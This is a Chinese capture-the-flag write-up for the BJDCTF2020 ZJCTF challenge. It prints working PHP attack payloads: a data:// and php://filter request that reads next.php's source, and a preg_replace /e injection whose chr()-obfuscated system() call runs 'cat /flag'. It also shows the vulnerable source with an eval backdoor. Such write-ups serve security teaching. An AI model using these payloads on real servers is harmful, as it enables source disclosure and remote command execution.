题目链接:[BJDCTF2020]ZJCTF,不过如此。
打开环境,如下所示。
一个简单的伪协议,直接使用 Data 伪协议即可通过检测,随后使用文件包含来查看 next.php 文件源码。
Payload:?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
。
得到 next.php 源码如下。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
首先解释一下 next.php 中的源码的内容。
# 遍历 $_GET 数组,并将数组中的键跟值分别设置为 $re 与 $str,并调用 complex($re, $str)
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
# 将 $str 中的 $re 的内容转换为小写
function complex($re, $str) {
return preg_replace(
# 动态正则表达式(注意,\e 代码执行)
'/(' . $re . ')/ei',
# 第一个子匹配项转化为小写
'strtolower("\\1")',
$str
);
}
可以看到,存在 preg_replace 函数,并且存在 "/e" 参数(但是实际上本题与 "/e" 参数的关系不大)。
以下先给出 Payload 再进行解释。
Payload:/next.php?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
。
解析:
- PHP 的可变变量,即:
${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
会在 preg_replace 函数执行前执行,并返回值。 $re = \S*
,匹配所有的非空字符。- 匹配成功,成功的执行了
${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
。
参考链接:
标签:php,不过如此,ZJCTF,next,re,chr,str,BJDCTF2020,97 From: https://www.cnblogs.com/imtaieee/p/18551396